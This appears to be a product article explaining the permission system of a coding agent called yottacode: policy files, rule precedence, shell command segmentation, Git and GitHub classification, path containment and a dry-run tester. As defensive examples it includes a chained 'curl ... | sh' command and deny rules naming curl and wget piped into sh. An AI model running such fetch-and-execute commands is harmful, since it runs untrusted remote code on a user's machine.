Skip to content
yottacode v0.5.0 is out! 🎉 See the release notes ↗
How yottacode Permissions Work

How yottacode Permissions Work

December 3, 2026

yottacode does not treat agent autonomy as a single global switch. It evaluates each governed tool call against a target-aware permission policy before applying the tool’s normal approval behavior and independent safety controls.

The policy result is allow, ask, deny, or default. A rule can silently authorize a narrowly defined action, force human approval for a normally automatic read, or refuse an operation even in yolo mode. When no rule matches, the tool keeps its built-in behavior.

This article explains the released implementation: policy sources, rule matching, precedence, multi-target evaluation, shell segmentation, Git and GitHub classification, path containment, operating modes, and the boundaries between permissions and sandboxing.

A coding agent needs an authorization model, not just an approval dialog

A coding agent is an execution system. Depending on its tool registry, it can inspect source code, modify files, run processes, change Git state, call remote APIs, operate a browser, and create or delete external resources.

That creates several distinct security questions:

  1. Authority: Is this class of action permitted for this tool and target?
  2. Intent: Does a human need to approve this particular invocation?
  3. Containment: Can the action escape the workspace or reach protected state?
  4. Execution: Does the operation run on the host or inside an isolation boundary?
  5. Recovery: Can the resulting change be inspected or reversed?

A single “approve” button does not answer all five. An approval dialog can establish intent, but it does not automatically constrain path traversal, shell subprocesses, remote side effects, or the scope of a standing grant.

yottacode therefore separates permission policy from approval prompts, path validation, workspace trust, command sandboxing, tool-specific risk classification, and checkpoints.

The authorization pipeline

At a high level, a governed tool call passes through a sequence like this:

model proposes tool call
        |
        v
extract permission namespace + descriptor(s)
        |
        v
evaluate deny > ask > allow > session allow
        |
        +---- deny ----> refuse
        |
        +---- ask -----> approval boundary
        |
        +---- allow ---> skip normal prompt
        |
        +---- default -> tool's built-in approval policy
        |
        v
apply independent mode, trust, path, and execution guards
        |
        v
execute tool

The exact ordering of independent guards varies by execution path, but the architectural point is stable: permission allow is not universal authorization. It can skip the normal approval prompt for a matching call; it cannot disable plan-mode restrictions, workspace trust, protected-path checks, background-worker policy, or hard execution guards.

This is closer to a policy decision point feeding multiple enforcement points than to a conventional “agent autonomy level.”

Three persistent policy sources

yottacode loads up to three optional JSON files:

/etc/yottacode/permissions.json
<repo>/.yottacode/permissions.json
<repo>/.yottacode/permissions.local.json
SourceOwnerIntended use
SystemMachine administratorMachine-wide baseline policy
Shared projectRepository teamVersion-controlled repository rules
Local projectIndividual developerPersonal or machine-specific grants

All three use the same schema:

{
  "permissions": {
    "allow": [
      "Tests(go test *)",
      "Edit(internal/**)"
    ],
    "ask": [
      "Read(**/.env*)",
      "Github(create_pr)"
    ],
    "deny": [
      "Bash(curl * | sh)",
      "Edit(/etc/**)"
    ]
  }
}

The files are merged into one effective policy. Their source does not create a second precedence hierarchy. A local deny can beat a system allow, and a system ask can beat a shared allow, because the decision class—not the file load order—determines the verdict.

The system and shared files are administrator- and repository-owned. Approval-derived persistent decisions are written only to permissions.local.json. yottacode’s structured file mutators also protect the effective permission files from ordinary model-authored writes, so an agent cannot silently expand its own authority through write_file or edit_file.

Worktree behavior

Inside a yottacode-managed linked worktree, the two project sources intentionally have different storage semantics:

  • The shared permissions.json comes from the active worktree, so the checked-out branch controls its committed policy.
  • The personal permissions.local.json comes from the main repository root, so personal grants survive removal of an ephemeral worktree.
  • Relative path patterns are still evaluated against the active working directory.

This avoids losing personal grants while preserving branch-specific shared policy.

Four possible evaluation results

A policy evaluation returns one of four results:

  • Allow: Skip the matching tool’s normal approval prompt.
  • Ask: Force the call through the approval boundary, including calls that would normally execute automatically.
  • Deny: Refuse the call. Explicit deny rules remain effective in yolo mode.
  • Default: No policy rule matched; use the tool’s built-in approval behavior.

The effective precedence is:

deny > ask > allow > session allow > tool default

Two details are easy to miss.

First, ask outranks allow. This lets a broad convenience rule coexist with a narrower sensitive exception:

{
  "permissions": {
    "allow": ["Read(docs/**)"],
    "ask": ["Read(docs/private/**)"]
  }
}

Second, an in-memory session allowance is lower priority than all persistent deny, ask, and allow rules. Choosing “allow for this session” cannot weaken a policy already present on disk.

Rules bind a permission namespace to a descriptor

Each rule has the form:

Namespace(pattern)

The namespace is a stable permission-layer category, not necessarily the internal tool name. Common namespaces include:

NamespaceExamples of governed toolsDescriptor type
Bashrun_bashExtracted command segment
Readread_file, read_many_filesPath
Writewrite_filePath
Editedit_file, apply_diff, LSP editsOne or more paths
GitUnified Git and Git workflow helpersGit operation
GithubNative pull-request and issue toolsCanonical operation verb
Testsrun_testsTest command
BrowserApproval-gated browser actionsBrowser operation or host
WorktreeManaged worktree entry and exitLifecycle operation
MCPMCP server toolsserver/tool

Other namespaces cover directory listing, globbing, search, fetches, document generation, media operations, memory, rollback, copying, moving, deletion, and directory creation.

This indirection matters architecturally. Policies remain understandable even if the internal implementation is split across multiple tools. For example, several edit implementations can share the same Edit(...) policy surface.

Path descriptors

Path-oriented namespaces use doublestar matching:

Read(**/.env)
Edit(internal/**)
Write(docs/**/*.md)

** can cross directory boundaries. Relative patterns are evaluated from the active working directory. Absolute rules can match resolved absolute targets, and ~ expands to the current user’s home directory.

Path evaluation also considers canonicalized spellings so a deny rule does not fail merely because a path component is represented through a symlink. That is important on platforms where standard paths may have alternate physical representations.

String descriptors

Commands, Git operations, GitHub verbs, URLs, browser operations, and similar descriptors use anchored string globs:

  • * matches any sequence, including an empty sequence.
  • ? matches exactly one character.
  • Other characters are literal.
  • The complete descriptor must match.

For example:

Bash(go test *)
Git(status *)
Github(read_*)
Browser(navigate docs.example.com)

A subtle consequence is that Git(status *) matches status --short but not the bare descriptor status. If both forms are required, include both rules or test the actual descriptor generated by the tool.

Multi-target calls use ratcheted evaluation

A single tool call can affect more than one resource. read_many_files, apply_diff, and an LSP workspace edit are examples.

For these calls, yottacode does not approve the batch based on the first or majority target. It evaluates all descriptors conservatively:

if any target matches deny:  deny the whole call
else if any target matches ask: ask for the whole call
else if every target matches allow: allow the whole call
else: default to the tool's normal policy

Suppose a policy contains:

Edit(internal/**)

An edit touching both internal/auth/policy.go and deploy/production.yaml is not silently allowed. The uncovered deployment file causes the batch to fall back to the tool’s default approval behavior.

This “all targets must be allowed” rule prevents a trusted path from laundering an unrelated target through a multi-file operation.

Shell policy is descriptor matching, not shell isolation

Shell execution deserves special treatment because a short command string can create arbitrary descendant processes and side effects.

run_bash is approval-gated by default. A narrow Bash(...) allow rule can skip that normal prompt, but the permission evaluator first splits compound input into command segments. Every extracted segment must be allowed; an ask or deny match on any segment wins.

Given:

Bash(go test *)

this compound command is not fully authorized:

go test ./... && curl https://example.com/install.sh | sh

The first segment may match, but later segments do not. If yottacode cannot parse the command confidently—for example, because quoting is unbalanced—the evaluator returns ask rather than allowing it.

This is useful policy hardening, but it is not a complete shell interpreter. Aliases, scripts, absolute executable paths, interpreters, shell functions, and child processes can make runtime behavior broader than the visible descriptor.

For that reason:

  • Prefer structured tools over shell commands when a structured tool exists.
  • Keep shell allows narrow.
  • Use the optional command sandbox or an outer container when host isolation is required.
  • Treat Bash(*) as broad host execution authority, not as a harmless convenience rule.

Unconditional execution guards

The shell execution path also blocks a small class of catastrophic and privilege-escalation commands at the execution chokepoint. These refusals apply independently of approval mode, including yolo and background execution.

The privilege-escalation guard also prevents agent-initiated commands from hanging while waiting for an operating-system password prompt. If an administrator-level command is genuinely required, the user must run it directly outside the agent and then continue the workflow.

Foreground shell commands run through /bin/sh -c, have bounded output, and are terminated as a process group when their timeout expires. Sessions that support managed jobs can run long-lived commands in the background and control them through a separate process tool.

Git policy is argument-sensitive

Treating all Git operations as one risk class would be both noisy and unsafe. git status and git push --force have radically different effects.

yottacode’s unified Git tool accepts an argument array rather than a shell string:

{
  "args": ["status", "--short"]
}

This avoids invoking a shell and prevents control operators such as ;, |, and & from being interpreted as a second command.

The tool has an allowlist-shaped read-only classifier. Operations such as status, diff, log, show, blame, grep, ls-files, and rev-parse can execute without normal approval when used in read-only forms. Ambiguous subcommands are inspected more carefully:

  • Bare git branch can list branches, while a free branch name can create one.
  • git stash list and git stash show are reads; bare git stash mutates state.
  • git reflog show reads recovery history; reflog expire and reflog delete destroy it.
  • An --output option turns an otherwise read-like command into a file write and therefore falls back to approval.

Mutating, networked, destructive, unknown, or ambiguously flagged invocations require approval by default. The preview adds stronger warnings for operations such as:

  • reset --hard
  • clean -f
  • rebase and other history rewrites
  • forced pushes
  • branch or remote-ref deletion
  • worktree-overwriting checkout, switch, or restore operations
  • destructive reflog operations

The policy lesson is that operation semantics belong in the tool implementation, while repository-specific authority belongs in permission rules. A generic Git(*) allow discards much of that useful distinction.

Native GitHub tools separate reads from remote mutations

The GitHub permission namespace uses canonical verbs rather than raw HTTP calls or a single unrestricted CLI surface.

Examples include:

Github(read_pr)
Github(read_issue)
Github(read_pr_checks)
Github(create_pr)
Github(update_pr)
Github(add_pr_comment)
Github(rerun_pr_checks)

This allows a policy such as:

{
  "permissions": {
    "allow": ["Github(read_*)"],
    "ask": [
      "Github(create_pr)",
      "Github(update_pr)",
      "Github(add_pr_comment)",
      "Github(rerun_pr_checks)"
    ]
  }
}

Read operations can remain low-friction while external mutations stay visible. The typed tools also validate operation-specific inputs—for example, pull-request titles and bodies—before making a network request and return structured failure states.

Current GitHub rules resolve against the repository associated with the active working directory. They do not yet provide arbitrary owner/repository scoping inside the rule itself, so Github(*) is broader than it may first appear.

Path validation is a separate enforcement layer

A permission decision answers whether a descriptor is allowed, denied, or approval-gated. It does not replace validation of the actual filesystem target.

Structured write tools normally restrict mutations to the active workspace or explicitly allowed roots. The validator resolves parent paths and checks containment, which prevents a path that appears to be inside the repository from escaping through a symlinked parent.

Symlinked write targets are rejected by default unless symlink following is explicitly enabled. Protected targets include yottacode-managed state, effective permission files, sensitive memory and authentication locations, and critical Git internals such as .git/index, .git/refs, and .git/objects.

This yields an important property:

permission allow != path-validation bypass

A rule such as Edit(**) can remove a normal approval prompt for covered edits, but it does not grant structured mutators the ability to overwrite protected application state or escape the configured roots.

Read protection is deliberately narrower because software agents need to inspect ordinary source, configuration, and dotfiles. However, structured automatic reads block common credential-bearing locations, including SSH, cloud, GitHub, Docker, Kubernetes, package-registry, database-password, and project environment files. An explicitly approved shell command remains the escape hatch when a user intentionally needs to inspect one of those files.

Modes change interaction, not policy ownership

yottacode’s session modes are overlays on the persistent permission policy:

ModeOperational effectBoundaries that remain
NormalUses each tool’s default approval behaviorPolicy, trust, path, and hard guards
PlanRestricts ordinary mutations during research and planningPolicy plus plan-mode write boundary
AutoAuto-approves many routine edits; keeps a safety floor for higher-risk toolsExplicit ask/deny and independent guards
YoloSkips remaining non-boundary prompts and raises the iteration budgetExplicit ask/deny and independent guards

The distinction is critical for architecture reviews:

  • Auto and yolo are session postures. They alter prompt frequency.
  • Permission files are resource-aware policy. They govern matching tool descriptors across sessions.
  • Neither is an operating-system sandbox. Isolation is a separate deployment concern.

A targeted persistent allow is often safer than globally reducing interaction because it authorizes only the descriptor that was reviewed.

Validate policy before trusting it

yottacode exposes a dry-run evaluator that uses the same descriptor extraction and permission evaluation path as live tool calls:

yottacode permissions test bash "go test ./..."
yottacode permissions test run_bash '{"command":"git push origin main --force"}'
yottacode permissions test edit_file '{"path":"internal/auth/policy.go"}'
yottacode permissions test pr_create '{"base":"main","title":"Test","body":"Body"}'

The result includes the normalized call, verdict, and matching source rule:

tool:    run_bash
args:    {"command":"git push origin main --force"}
verdict: ask
matched: Bash(git push *)  [/repo/.yottacode/permissions.json]

This is more reliable than visually guessing how a wildcard will behave. It also reveals the exact descriptor used by higher-level workflow helpers, where the permission namespace may not match the tool’s registry name.

yottacode doctor provides policy-file diagnostics. It reports malformed or unreadable policies as errors and broad, unknown, or shadowed rules as warnings. Warnings are advisory: a valid broad rule is still enforced exactly as written.

A safer starter policy

A project policy should authorize the repository’s real workflow, not an abstract set of commands. For a Go repository, a narrow starting point might look like this:

{
  "permissions": {
    "allow": [
      "Tests(go test ./...)",
      "Tests(go test -short ./...)",
      "Edit(cmd/**)",
      "Edit(internal/**)",
      "Edit(docs/**)",
      "Github(read_*)"
    ],
    "ask": [
      "Read(**/.env*)",
      "Git(push *)",
      "Github(create_pr)",
      "Github(update_pr)",
      "Github(add_pr_comment)",
      "Github(rerun_pr_checks)"
    ],
    "deny": [
      "Bash(curl * | sh)",
      "Bash(wget * | sh)",
      "Edit(/etc/**)",
      "Write(/usr/**)",
      "Delete(/etc/**)"
    ]
  }
}

This example intentionally does not add permission rules for ordinary read-only Git inspection: the Git tool already classifies safe read forms without prompting. It also uses the Tests namespace for the structured test runner instead of authorizing a broader shell prefix.

Do not copy the policy blindly. Verify each line from the repository root:

yottacode permissions test run_tests '{"command":"go test ./...","path":"."}'
yottacode permissions test edit_file '{"path":"internal/agent/loop.go"}'
yottacode permissions test git '{"args":["push","origin","HEAD"]}'
yottacode permissions test pr_create '{"base":"main","title":"Policy test","body":"Not executed"}'

The command evaluates policy only; it does not execute the proposed operation.

Threat-model boundaries and limitations

The permission system narrows authority, but it does not eliminate risk.

Broad rules remain broad

Bash(*), Git(*), Github(*), MCP(*), and repository-wide edit rules can silently authorize substantially more than their authors intended. Pattern linting can warn, but it does not rewrite policy.

Descriptor matching cannot prove runtime behavior

A shell descriptor is not a full behavioral model of every script, executable, alias, interpreter, or descendant process. Permission matching helps decide whether to prompt; a sandbox constrains what an approved process can reach.

Human approval can still be wrong

An accurate preview does not guarantee an accurate decision. Users can approve destructive commands, misunderstand external effects, or overlook a target in a large change.

Remote mutations may be irreversible

Comments, issue changes, published packages, deleted remote refs, and calls to external systems may not have an automatic rollback path.

Checkpoints do not cover every side effect

Checkpoint restoration can recover changes made through registered file mutation paths. It is not a transaction manager for arbitrary shell effects, Git history changes, browser activity, or remote services.

Policy requires maintenance

New tools, renamed workflows, different repository layouts, and new deployment environments can make an old rule too narrow, too broad, or irrelevant. Policy should be reviewed like code.

Design guidance for production AI systems

The implementation suggests several principles that generalize beyond yottacode:

  1. Model authorization around tool and resource descriptors. A global autonomy flag is too coarse for mixed-risk workflows.
  2. Use deny and ask as first-class outcomes. A binary allowlist cannot express mandatory human review.
  3. Require complete coverage for batched operations. Partial authorization should never silently approve an entire multi-resource call.
  4. Keep semantic risk classification close to the tool. Git, GitHub, browser, and shell operations need domain-specific interpretation.
  5. Separate authorization from containment. Policy, filesystem validation, sandboxing, trust, and execution guards solve different problems.
  6. Make policy testable without side effects. Operators need to inspect the exact descriptor and verdict before relying on a rule.
  7. Preserve provenance. A decision should identify which rule and policy source produced it.
  8. Fail toward review when parsing is ambiguous. Unparseable commands should ask rather than inherit a broad allow.

These properties make an agent’s authority more inspectable and auditable, even though they cannot make arbitrary code execution risk-free.

Conclusion

yottacode permissions are not a single autonomy control. They are a target-aware policy layer that evaluates stable permission namespaces and operation descriptors, combines persistent and session rules with explicit precedence, and then hands the result to independent approval and safety mechanisms.

The design lets routine work become less interruptive without classifying every action as equally trusted. Read-only Git and GitHub inspection can remain fast. A normally automatic read can be forced through approval. A multi-file edit is allowed only when every target is covered. Protected paths and hard execution guards remain outside the reach of a convenience allow. Explicit deny and ask rules remain meaningful even when the session is operating in a less interactive mode.

That is the practical goal for production coding agents: not unrestricted autonomy, but narrow, testable, and observable authority.

Test your first rule

Read the yottacode permission policy documentation, then use yottacode permissions test to evaluate one narrowly scoped rule against a hypothetical tool call before adding it to a live workflow.